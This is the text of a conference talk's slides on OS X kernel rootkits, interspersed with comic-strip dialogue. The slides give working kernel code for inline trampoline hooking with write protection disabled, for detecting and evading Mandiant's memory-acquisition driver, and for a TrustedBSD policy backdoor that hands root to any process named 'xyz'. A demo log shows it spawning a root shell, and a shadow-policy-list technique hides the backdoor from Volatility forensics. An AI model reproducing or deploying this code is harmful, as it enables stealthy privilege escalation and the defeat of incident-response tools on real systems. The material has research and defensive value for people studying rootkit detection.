OS X
ROOTKITS
fG! @ SyScan360
Agenda

1. OS X Kernel Rootkits (duh!).
2. Ideas to improve them.
3. Solving some problems.
5. Zombies and 0-day.
Who Am I?
Summer days are supposed to be longer, but they sure seem short to me. I'll say... we didn't get to do half our itinerary.
Calvin and Hobbes

WHERE'S THE DEMAND?!
I DON'T SEE ANY DEMAND!
THERE'S LOTS OF DEMAND!
YEAH?
SURE! AS THE SOLE STOCKHOLDER IN THIS ENTERPRISE, I DEMAND MONSTROUS PROFIT ON MY INVESTMENT!

AND AS PRESIDENT AND CEO OF THE COMPANY, I DEMAND AN EXORBITANT ANNUAL SALARY!

AND AS MY OWN EMPLOYEE, I DEMAND A HIGH HOURLY WAGE AND ALL SORTS OF COMPANY BENEFITS! AND THEN THERE'S OVERHEAD AND ACTUAL PRODUCTION COSTS!

BUT IT LOOKS LIKE YOU JUST THREW A LEMON IN SOME SLUDGE WATER!
WELL, I HAVE TO CUT EXPENSES SOMEWHERE IF I WANT TO STAY COMPETITIVE.
WHAT IF I GOT SICK FROM THAT?

"Caveat Emptor" is the motto we stand behind! I'd have to charge more if we followed health and environmental regulations.

YOU'RE OUT OF YOUR MIND. I'M GOING HOME TO DRINK SOMETHING ELSE.
SURE! PUT ME OUT OF A JOB! IT'S YOU ANTI-BUSINESS TYPES WHO RUIN THE ECONOMY!

I NEED TO BE SUBSIDIZED.
COSEINC

TO SAVE TIME, LET’S ASSUME WE CAN EASILY HAVE ROOT ACCESS!

sudo -k
OLD

T

*but brilliant!
FiLESYSTEM
ACCESS
1. Very easy to do using VFS functions.
2. Everything available in KPIs!
3. Ability to read and write anywhere.
4. Compatible with “all” OS X versions.
/ * retrieve the whole linkedit segment into target buffer from kernel binary at disk */
static kern_return_t
get_kernel_linkedit(kernel_info_t kernel_info)
{
    int error = 0;
    // lookup vnode for /mach_kernel
    vnode_t kernel_vnode = NULLVP;
    if (vnode_lookup("/mach_kernel", 0, &kernel_vnode, NULL))
    {
        return KERN_FAILURE;
    }
    // create the UIO structure with our data buffer
    uio_t uio = uio_create(1, kernel_info->linkedit_fileoffset, UIO_SYSSPACE, UIO_READ);
    if (uio == NULL)
    {
        return KERN_FAILURE;
    }
    error = uio_addiov(uio, CAST_USER_ADDR_T(kernel_info->linkedit_buf), kernel_info->linkedit_size);
    if (error)
    {
        return KERN_FAILURE;
    }
    // finally read the kernel from the filesystem
    error = VNOP_READ(kernel_vnode, uio, 0, NULL);
    if (error)
    {
        return KERN_FAILURE;
    }
    else if (uio_resid(uio))
    {
        return EINVAL;
    }
    return KERN_SUCCESS;
}
Details and code

github.com/gdbinit/hydra
DiSASSEMBLER

.text:00425690 ; char *_cdecl strdup(const char *s)
.text:00425690 _strdup proc near
.text:00425690 s = dword ptr 8
.text:00425690 push ebp
.text:00425691 mov ebp, esp
.text:00425693 push ebx
.text:00425694 push esi
.text:00425695 push edi
.text:00425696 mov edi, [ebp+s]
.text:00425699 push edi
.text:0042569a call strlen
.text:0042569f pop ecx
.text:004256a0 mov esi, eax
.text:004256a2 inc esi
.text:004256a3 push esi
.text:004256a4 call malloc
.text:004256a9 pop ecx
.text:004256aa mov ebx, eax
.text:004256ac test eax, eax
.text:004256ae jz short end
.text:004256b0 push esi
.text:004256b1 push edi
.text:004256b2 push ebx
.text:004256b3 call memcpy
.text:004256b8 add esp, 0Ch
.text:004256ba call __win32DateToTimeToPOSIX
.text:004256bc add esp, 0Ch
.text:004256c0 mov ecx, [ebx+8]
.text:004256c2 push ecx
.text:004256c4 call strdup
.text:004256c6 pop ecx
.text:004256c8 lea eax, [ebp+s]
.text:004256ca push eax
.text:004256cc call strdup
.text:004256ce pop ecx
.text:004256d0 mov [ebx+8], eax
.text:004256d2 push 40h
.text:004256d4 lea edx, [ebp+s]
.text:004256d6 push edx
.text:004256d8 mov ecx, [ebp+0Ch]
.text:004256da push ecx
.text:004256dc call __win32DateToTimeToPOSIX
.text:004256e0 add esp, 0Ch
.text:004256e2 mov eax, [ebx+0Ch]
.text:004256e4 push eax
.text:004256e6 call _Free
.text:004256e8 end: mov eax, ebx
.text:004256eb pop edi
1. Integrate disassembler library.
2. Tested with diStorm.
3. Very fast in a linear sweep.
4. Be careful with some inline data.
Helpful to find static functions.

Variables and structs fields offsets.

Hooking by modifying call reference.

Dynamic and future-proof rootkit.
SYMBO

2013

蛇
1. Some available in KPIs.

2. A few interesting not KPI exported.

3. Others are static.

4. In-memory search since Lion.
KERNEL DATA STRUCTURES
If you use this

/* system call table */
/* Before OS X Mavericks */
struct sysent {
    int16_t     sy_narg;
    int8_t      sy_resv;
    int8_t      sy_flags;
    sy_call_t   *sy_call;
    sy_munge_t  *sy_arg_munge32;
    sy_munge_t  *sy_arg_munge64;
    int32_t     sy_return_type;
    uint16_t    sy_arg_bytes;
};
with

OS X Mavericks
You need to restart your computer. Hold down the Power button for several seconds or press the Restart button.

Veuillez redémarrer votre ordinateur. Maintenez la touche de démarrage enfoncée pendant plusieurs secondes ou bien appuyez sur le bouton de réinitialisation.

Sie müssen Ihren Computer neu starten. Halten Sie dazu die Einschalttaste einige Sekunden gedrückt oder drücken Sie die Neustart-Taste.

コンピュータを再起動する必要があります。パワーボタンを数秒間押し続けるか、リセットボタンを押してください。
because

/* system call table */
/* Before OS X Mavericks */
struct sysonet {
    int16_t  sy_narg;
    int8_t   sy_resv;
    int8_t   sy_flags;
    sy_call_t *sy_call;
    sy_munge_t *sy_arg_munge32;
    sy_munge_t *sy_arg_munge64;
    int32_t   sy_return_type;
    uint16_t  sy_arg_bytes;
};

/* system call table */
/* OS X Mavericks */
struct sysonet {
    sy_call_t   *sy_call;
    sy_munge_t  *sy_arg_munge32;
    sy_munge_t  *sy_arg_munge64;
    int32_t     sy_return_type;
    int16_t     sy_narg;
    uint16_t    sy_arg_bytes;
}
Houston....

We have a problem
Proc and task structs are internal.

Keep changing between versions.

We want to access them!

Only a few fields required.
How to fix it?

* Hopefully a few of you are old enough to know MacGyver!
Try to find (very) simple functions.
That reference the field we want.
Disassemble.
Search and retrieve offset.
/*
 * This is only safe to call from a thread executing in
 * in the task's context or if the task is locked. Otherwise,
 * the map could be switched for the task (and freed) before
 * we to return it here.
 */

vm_map_t get_task_map(task_t t) {
    return(t->map);
}
Mountain Lion

```
public _get_task_map
_get_task_map proc near

push rbp
mov rbp, rsp
mov rax, [rdi+20h]
pop rbp
retn

_get_task_map endp
```

Mavericks

```
public _get_task_map
_get_task_map proc near

push rbp
mov rbp, rsp
mov rax, [rdi+20h]
pop rbp
retn

_get_task_map endp
```
http://code.google.com/p/distorm/
Prepare diStorm

```c
/* find task->map field */
static kern_return_t
tfc_find_task_map_offset(uint32_t *offset)
{
    uint32_t max_insts = 100; /* max nr of instructions to decode */
    /* the kernel function to disassemble and lookup struct field */
    mach_vm_address_t function_to_disasm_addr = solve_kernel_symbol("get_task_map");
    /* allocate space for disassembly output */
    _DInst *decodedInstructions = _MALLOC(sizeof(_DInst) * max_insts, M_TEMP, M_WAITOK | M_ZERO);
    if (decodedInstructions == NULL) {
        LOG_ERROR("Decoded instructions allocation failed!");
        return KERN_FAILURE;
    }

    /* set diStorm structure */
    unsigned int decodedInstructionsCount = 0;
    _DecodeResult res = 0;
    _CodeInfo ci = {0};
    ci.dt = Decode64Bits;
    ci.features = DF_NONE;
    ci.codeLen = (int)131072; // 128k should be large enough, we will break before the end
    ci.code = (unsigned char*)function_to_disasm_addr;
    ci.codeOffset = function_to_disasm_addr; // running kernel address so offsets are ok (aslr enabled)
    mach_vm_address_t next = 0;
```
while (1) {
    res = distorm_decompose(&ci, decodedInstructions, max_insts, &decodedInstructionsCount);
    if (res == DECRES_INPUTERR) {
        LOG_ERROR("Distorm failed to disassemble!");
        break;
    }

    /* iterate over the disassembly and lookup for the instructions */
    for (unsigned int i = 0; i < decodedInstructionsCount; i++) {
        if (decodedInstructions[i].opcode == I_MOV &&
            decodedInstructions[i].ops[0].type == O_REG &&
            decodedInstructions[i].ops[0].index == R_RAX &&
            decodedInstructions[i].ops[1].type == O_SMEM &&
            decodedInstructions[i].ops[1].index == R_RDI)
        {
            *offset = (uint32_t)decodedInstructions[i].disp;
            LOG_DEBUG("Found task map offset %x", *offset);
            _FREE(decodedInstructions, M_TEMP);
            return KERN_SUCCESS;
        }
    }

    if (res == DECRES_SUCCESS) break; // All instructions were decoded.
    else if (decodedInstructionsCount == 0) break;
    /* sync the disasm -- the total number of bytes disassembly to previous last instruction */
    next = decodedInstructions[decodedInstructionsCount-1].addr  - ci.codeOffset;
    /* add points to the first byte so add instruction size to it */
    next += decodedInstructions[decodedInstructionsCount-1].size;
    /* update the CodeInfo struct with the synced data */
    ci.code += next;
    ci.codeOffset += next;
    ci.codeLen -= next;
}
Volatility does not provide the ability to acquire memory. We recommend using Mac Memory Reader from ATC-NY for this purpose. It supports 32 and 64 bit captures from native hardware, parallels, and virtual box. It currently does not support VMware fusion guests.

http://code.google.com/p/volatility/wiki/MacMemoryForensics
Mac Memory Reader™

Implementation Notes

MacMemoryReader uses a kernel extension to create temporary, read-only /dev/mem and /dev/pmap devices. /dev/pmap shows the physical memory map. /dev/mem provides the same functionality provided by /dev/mem on other Unix operating systems. That is, it virtualizes the physical memory space. Processes can read at specific offsets to retrieve the data at those physical addresses.

```assembly
lea rdi, aMem ; "mem"
lea rdx, __devmem
lea rcx, __devmem_index
lea rax, __devmem_read_func
lea rsi, __devmem_open_func
mov cs: devmem, rsi
mov cs:off_2138, rax
xor esi, esi
call _create_device
```
loc_15FB:
  lea rsi, __mem_cdevsw
  lea rdx, aMem ; "mem"
  xor ecx, ecx
  mov rdi, rbx
  lea r8, [rbx+OCoBoh]
  lea r9, [rbx+OCoBoh]
  call __ZN32com_mandiant_macmem_memorydriver10make_devfsEP6cdevswPciPipPV ; com_mandiant_macmem_memorydriver
  test al, al
  mov bl, al
  jnz short loc_163F
  lea rdi, aErrorMemory_10 ; "ERROR: [memorydriver] unable to create "...

loc_1503:
  shl eax, 18h
  mov edi, eax
  or edi, r15d ; dev
  xor esi, esi ; chrblk
  mov ecx, 2 ; gid
  mov r8d, 1AOh ; perms
  xor al, al
  xor edx, edx ; uid
  mov r9, r12 ; fmt
  ; r12 = "mem"
  call devfs_make_node
The Essential CHEAP TRICK
1. Hook devfs_make_node.

2. Verify the fmt parameter.

3. Be careful, variable argument list.

4. React if it’s creating /dev/mem.
WARNING

NEXT SLIDES ARE NOT VERY SAFE!
kern_return_t

hook_devfs_make_node(void)
{
    /* patch devfs_make_node - we assume it's not already hooked! */
    if (install_trampoline("_devfs_make_node",
                          (mach_vm_address_t)tfc_devfs_make_node,
                          (void*)g_devfs_orig_bytes))
    {
        return KERN_FAILURE;
    }
    /* now the hook will take care of everything */
    return KERN_SUCCESS;
}
kern_return_t
install_trampoline(char *symbol, mach_vm_address_t dest_address, void *orig_bytes)
{
    char trampoline[12] = "\x48\xB8\x00\x00\x00\x00\x00\x00\x00\x00" // mov rax, address
                    "\xFF\xE0"; // jmp rax
    mach_vm_address_t patch_addr = solve_kernel_symbol(symbol);
    if (patch_addr == 0) {
        LOG_ERROR("Can't solve symbol [%s]", __FUNCTION__);
        return KERN_FAILURE;
    }
    /* store the original bytes in user provided buffer */
    memcpy(orig_bytes, (void*)patch_addr, sizeof(trampoline));
    /* set the target address */
    memcpy(trampoline+2, &dest_address, sizeof(mach_vm_address_t));
    /* patch the target address with the trampoline */
    /* ml_nofault_copy() can be used instead of all this code! */
    disable_interrupts();
    disable_wp();
    memcpy((void*)patch_addr, trampoline, sizeof(trampoline));
    enable_wp();
    enable_interrupts();
    // _ml_nofault_copy((vm_offset_t)trampoline, (vm_offset_t)((void*)patch_addr),
    // sizeof(trampoline));
    return KERN_SUCCESS;
}
void *
tfc_devfs_make_node(dev_t dev, int chrblk, uid_t uid, gid_t gid, int perms, const char *fmt, ...) 
{
    /* this is what devfs_make_node_internal() does, so let's imitate it */
    va_list args;
    va_start(args, fmt);
    char buf[256]; /* XXX */
    vsnprintf(buf, sizeof(buf), fmt, args);
    va_end(args);
    /* buf contains the device to be created, check if it's /dev/mem */
    if (strcmp(buf, "mem") == 0)
    {
        LOG_DEBUG("WARNING: potential kmem driver being installed!");
        /* do something here, such as removing the rootkit */
    }
    /* "swizzling" style hooking - dangerous and subject to race condition! */
    /* restore the original bytes and call the function again */
    unhook_devfs_make_node();
    void *ret = _devfs_make_node(dev, chrblk, uid, gid, perms, buf);
    /* and restore the hooking */
    hook_devfs_make_node();
    return ret;
}
<p>| | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Unload the rootkit.</td>
</tr>
<tr>
<td>2</td>
<td>Patch the driver.</td>
</tr>
<tr>
<td>3</td>
<td>Remove rootkit and kernel panic.</td>
</tr>
<tr>
<td>4</td>
<td>Something else!</td>
</tr>
</tbody>
</table>
Failure!
I/O Kit can notify about new drivers.

Using a callback.

IOServiceAddMatchingNotification.

Doesn't work with Mandiant's driver.
+-o Root <class IORegistryEntry, id 0x100000100, retain 12>
  +-o MacPro5,1 <class IOPlatformExpertDevice, id 0x10000010e, registered, matched, active, busy 0 (75413 ms), retain 44>
    +-o AppleACPIPlatformExpert <class AppleACPIPlatformExpert, id 0x10000010f, registered, matched, active, busy 0 (72563 ms), retain 46>

+-o IOResources <class IOResources, id 0x100000111, registered, matched, active, busy 0 (213 ms), retain 29>
  +-o AppleKeyStore <class AppleKeyStore, id 0x100000115, registered, matched, active, busy 0 (0 ms), retain 6>
  +-o IOHDXController <class IOHDXController, id 0x100000116, registered, matched, active, busy 0 (21 ms), retain 7>
  (...) 
  +-o com_vmware_kext_UsbPortArbiter_10_1_24 <class com_vmware_kext_UsbPortArbiter_10_1_24, id 0x1000014a5, registered, matched, active, busy 0 (0 ms), retain 7>
    | +-o com_vmware_kext_UsbPortArbiterUserClient_10_1_24 <class com_vmware_kext_UsbPortArbiterUserClient_10_1_24, id 0x1000014a6, !registered, !matched, active, busy 0, retain 7>
  +-o com_mandiant_macmem_memorydriver <class com_mandiant_macmem_memorydriver, id 0x100003a54, !registered, !matched, active, busy 0, retain 4>
1. Polling as a workaround.
2. Dump ioreg registry.
3. And lookup for Mandiant's driver.
4. If you get it working tell me 😊.
BREAKING VOLATILITY²
Teaching an old dog a new trick!
/*

Tex

The Wonder Dog

v0.3

(c) 2011, fG! - reverser@put.as

A lazy PoC for implementing backdoors in OS X TrustedBSD Mac framework. To activate the backdoor, call task_for_pid() in a process named "xyz" and EUID will be changed to 0 :-)

MAC_POLICY_SET should be used instead of directly configuring the kernel entry points. If this is used duplicate symbol errors arise. Most probably because I am using XCode's kernel extension template.

Based on Sedarwin project sample policies code.

v0.3 also works in Lion 10.7.1

This code is for 32bits kernels only!

*/
Abuse TrustedBSD framework.

Hooks in many interesting places.

Create a module and...

Do something evil!
Loaded policies structure

```c
/* @ security/mac_base.c */
mac_policy_list_t mac_policy_list;

/* @ security/mac_internal.h */
struct mac_policy_list {
    u_int numloaded;
    u_int max;
    u_int maxindex;
    u_int staticmax;
    u_int chunks;
    u_int freehint;
    struct mac_policy_list_element *entries;
};

typedef struct mac_policy_list mac_policy_list_t;

struct mac_policy_list_element {
    struct mac_policy_conf *mpc;
};
```
Individual policy configuration

/* @ security/mac_policy.h */
/* XXX - reorder these for better alignment on 64bit platforms */

struct mac_policy_conf {
    const char *mpc_name;   /**< policy name */
    const char *mpc_fullname; /**< full name */
    const char **mpc_labelnames; /**< managed label namespaces */
    unsigned int mpc_labelname_count; /**< number of managed label namespaces */
    struct mac_policy_ops *mpc_ops; /**< operation vector */
    int mpc_loadtime_flags; /**< load time flags */
    int *mpc_field_off; /**< label slot */
    int mpc_runtime_flags; /**< run time flags */
    mpc_t mpc_list; /**< List reference */
    void *mpc_data; /**< module data */
};
MAC_CHECK performs the designated check by walking the policy
module list and checking with each as to how it feels about the
request. Note that it returns its value via 'error' in the scope
of the caller.

#define MAC_CHECK(check, args...) do {
    struct mac_policy_conf *mpc;
    u_int i;

    error = 0;
    for (i = 0; i < mac_policy_list.staticmax; i++) {
        mpc = mac_policy_list.entries[i].mpc;
        if (mpc == NULL)
            continue;

        if (mpc->mpc_ops->mpo_##check != NULL)
            error = mac_error_select(
                mpc->mpc_ops->mpo_##check (args),
                error);
    }

    if (mac_policy_list_conditional_busy() != 0) {
        for (; i <= mac_policy_list.maxindex; i++) {
            mpc = mac_policy_list.entries[i].mpc;
            if (mpc == NULL)
                continue;

            if (mpc->mpc_ops->mpo_##check != NULL)
                error = mac_error_select(
                    mpc->mpc_ops->mpo_##check (args),
                    error);
        }

        mac_policy_list_unbusy();
    }
} while (0)
kern_return_t
task_for_pid(struct task_for_pid_args *args)
{
    (...)

#if CONFIG_MACF
    error = mac_proc_check_get_task(kauth_cred_get(), p);
    if (error) {
        error = KERN_FAILURE;
        goto tfpout;
    }
#endif

(...)
}

int
mac_proc_check_get_task(struct ucred *cred, struct proc *p)
{
    int error;

    MAC_CHECK(proc_check_get_task, cred, p);

    return (error);
}
/* lame old backdoor code */
static int
mac_rex_policy_gettask(kauth_cred_t cred, struct proc *p)
{
    // activate lock
    lck_mtx_lock(&p->p_mlock);
    char processname[MAXCOMLEN+1];
    // retrieve the process name
    proc_name(p->p_pid, processname, sizeof(processname));
    // match our backdoor activation process
    if (strcmp(processname, "xyz") == 0) {
        printf("[rex_the_wonder_dog] giving root to %s\n", processname);
        // the old kauth_cred
        kauth_cred_t mycred = p->p_ucred;
        // get a new kauth_cred, with uid=0, and gid=0
        kauth_cred_t mynewcred = _kauth_cred_setuidgid(mycred, 0, 0);
        // copy back to our backdoor process and we have root!
        p->p_ucred = mynewcred;
        lck_mtx_unlock(&p->p_mlock);
        return 0;
    } else {
        lck_mtx_unlock(&p->p_mlock);
        return 0;
    }
}
<table>
<thead>
<tr>
<th></th>
<th>Volatility finds mac_policy_list.</th>
</tr>
</thead>
<tbody>
<tr>
<td>2</td>
<td>Retrieves all policy modules loaded.</td>
</tr>
<tr>
<td>3</td>
<td>Verifies if function pointers are ok.</td>
</tr>
<tr>
<td>4</td>
<td>Kernel, trusted modules, or NULL.</td>
</tr>
</tbody>
</table>
Volatile Systems Volatility Framework 2.1_alpha
INFO : volatility.plugins.overlays.mac.mac: Found dsymutil symbol file 10.7.2.32-bit.symbol.dsymutil
INFO : volatility.plugins.overlays.mac.mac: Found vtypes file: mac32.vtypes
in module put.as.kext.rexthewonderdog found hook for mpo_policy_initbsd in policy rex_the_wonder_dog at fdf000
in module put.as.kext.rexthewonderdog found hook for mpo_proc_check_get_task in policy rex_the_wonder_dog at fdf010

1. Volatility assumes `mac_policy_list`.
2. `MAC_CHECK()` is a macro.
3. Create a shadow `mac_policy_list`.
4. Easy to implement!
public _mac_proc_check_get_task
_mac_proc_check_get_task proc near ; CODE XREF: _task_for_pid+202↑p

push    rbp
mov     rbp, rsp
push    r15
push    r14
push    r13
push    r12
push    rbx
push    rax
mov     r14, rsi
mov     r15, rdi
lea     rax, _mac_policy_list
mov     eax, [rax+0Ch]
xor     ebx, ebx
test    eax, eax
jnz     short loc_FFFFFFF8000684699
xor     r12d, r12d
jmp     short loc_FFFFFFF80006846EE
def calculate(self):
    common.set_plugin_members(self)

    # get all the members of 'mac_policy_ops' so that we can check them (they are all function_ptrs)
    ops_members = self.get_members()

    # get the symbols need to check for if rootkit or not
    (kernel_symbol_addresses, kmods) = common.get_kernel_addr(self)

    list_addr = self.addr_space.profile.get_symbol("_mac_policy_list")

    plist = obj.Object("mac_policy_list", offset = list_addr, vm = self.addr_space)
    parray = obj.Object('Array', offset = plist.entries, vm = self.addr_space, targetType = 'mac_policy_list_element',
                        common_symbol_addresses = kernel_symbol_addresses, common_kmods = kmods)

    for ent in parray:
        # I don't know how this can happen, but the kernel makes this check all over the place
        # the policy is useful without any ops so a rootkit can't abuse this
        if ent.mpc == None:
            continue

        name = ent.mpc.mpc_name.dereference()

        ops = obj.Object("mac_policy_ops", offset = ent.mpc.mpc_ops, vm = self.addr_space)

        # walk each member of the struct
        for check in ops_members:
            ptr = ops.__getattr__(check)

            if ptr != 0:
                good = common.is_known_address(ptr, kernel_symbol_addresses, kmods)

                yield (good, check, name, ptr)
ACTION!
Before rootkit is loaded

localhost:volatility-read-only reverser$ python vol.py mac_trustedbsd --profile=MacMountainLion_10_8_3_AMDx64 -f Mac/OS\X/10.8/64-bit.vmwarevm/Mac/OS\X/10.8/64-bit-12e6095b.vmem
Volatil e Systems Volatility Framework 2.3_beta
Check Name Pointer
-------------------------------------- ---------------------
[DEBUG] Mac_policy_list address: 0xffffffff80008ef48

[DEBUG] Loaded policy module name: TMSafetyNet
[DEBUG] Loaded policy module name: Sandbox
[DEBUG] Loaded policy module name: Quarantine

sh-3.2# ./readkmem -a 0xffffffff8000684684 -s 16

Readkmem
Readkmem v0.5 - (c) fG!

Memory hex dump @ 0xffffffff8000684684:
0xffffffff8000684684 48 8d 05 bd d8 25 00 8b 40 0c 31 db 85 c0 75 05 H...%..@1...u.
Rootkit is loaded...

```
[DEBUG] Executing find_mac_policy_list_xrefs
[DEBUG] Reached end of function at 0xffffffff8000684770
[DEBUG] Found mac_policy_list xref at: 0xffffffff8000684705
[DEBUG] Found mac_policy_list xref at: 0xffffffff80006846f7
[DEBUG] Found mac_policy_list xref at: 0xffffffff8000684699
[DEBUG] Found mac_policy_list xref at: 0xffffffff8000684684
```

```
sh-3.2# ./readkmem -a 0xffffffff8000684684 -s 16

Readkmem v0.5 - (c) fG!

Memory hex dump @ 0xffffffff8000684684:
0xffffffff8000684684 48 8d 05 f5 c8 b7 ff 8b 40 0c 31 db 85 c0 75 05 H........@.1...u.
```
mountain-lion-64:~ reverser$ ./xyz
[info] calling task_for_pid()
[info] task_for_pid returned 0
[info] uid 0 euid 0
[info] setting uid to 0...
[info] uid 0 euid 0
[info] executing root shell...
bash-3.2# id
uid=0(root) gid=0(wheel) groups=0(wheel),401(com.apple.access_screensharing),1(daemon),2(kmem),3(sys),4(tty),5(operator),8(procview),9(procmod),12(everyone),20(staff),29(certusers),33(_appstore),61(localaccounts),80(admin),98(_lpadmin),100(_lpopoperator),204(_developer)
bash-3.2#

sh-3.2# dmesg
(...)
[DEBUG] Called mac_rex_policy_gettask
[DEBUG] found symbol _kauth_cred_setuidgid at 0xffffffff8000544b40 (non-aslr 0xffffffff8000544b40)
[rex_the_wonder_dog] giving root to xyz
sh-3.2#

localhost:volatility-read-only reverser$ python vol.py mac_trustedbsd --profile=MacMountainLion_10_8_3_AMDx64 -f Mac\ OS\ X\ 10.8\ 64-bit.vmwarevm/Mac\ OS\ X\ 10.8\ 64-bit-12e6095b.vmem
Volatile Systems Volatility Framework 2.3_beta
Check Name Pointer
---------------------------------------- ---------------

[DEBUG] Mac_policy_list address: 0xffffffff800081f48

[DEBUG] Loaded policy module name: TMSafetyNet
[DEBUG] Loaded policy module name: Sandbox
[DEBUG] Loaded policy module name: Quarantine
<table>
<thead>
<tr>
<th>1</th>
<th>No hooking was made.</th>
</tr>
</thead>
<tbody>
<tr>
<td>2</td>
<td>Only modified memory references.</td>
</tr>
<tr>
<td>3</td>
<td>TrustedBSD does the dirty work.</td>
</tr>
<tr>
<td>4</td>
<td>Triggers integrity checking 😞.</td>
</tr>
</tbody>
</table>
Zombie rootkits!
1. Create kernel memory leak.
2. Install rootkit code.
3. Fix mem permissions and offsets.
4. Redirect execution to zombie.
5. Return KERN_FAILURE.
0 day!

OS X Mavericks
Conclusions

I think we've got enough information now, don't you?

All we have is one "fact" you made up.

That's plenty. By the time we add an introduction, a few illustrations, and a conclusion, it will look like a graduate thesis.

Besides, I've got a secret weapon that will guarantee me a good grade! No teacher can resist this!

A clear plastic binder! Pretty professional looking, eh?

I don't want co-author credit on this, OK?
It's a cat & mouse game!
1. Attackers have better incentives.
2. Human creativity!
3. Money & information asymmetry.
4. Question every assumption!
Greetings to
nemo, noa, snare, saure, od, emptydir, korn, g0sh, spico and all other put.as friends, everyone at COSEINC, thegruggq, diff-t, i0nic, #osxre, Gil Dabah from diStorm, A. Ionescu, Igor from Hex-Rays, NSA & friends, and you for spending time of your life listening to me 
http://reverse.put.as
http://github.com/gdbinit
reverser@put.as
@osxreverser
#osxre @ irc.freenode.net
And iloverootkits.com maybe soon!
A day full of possibilities!

Let's go exploring!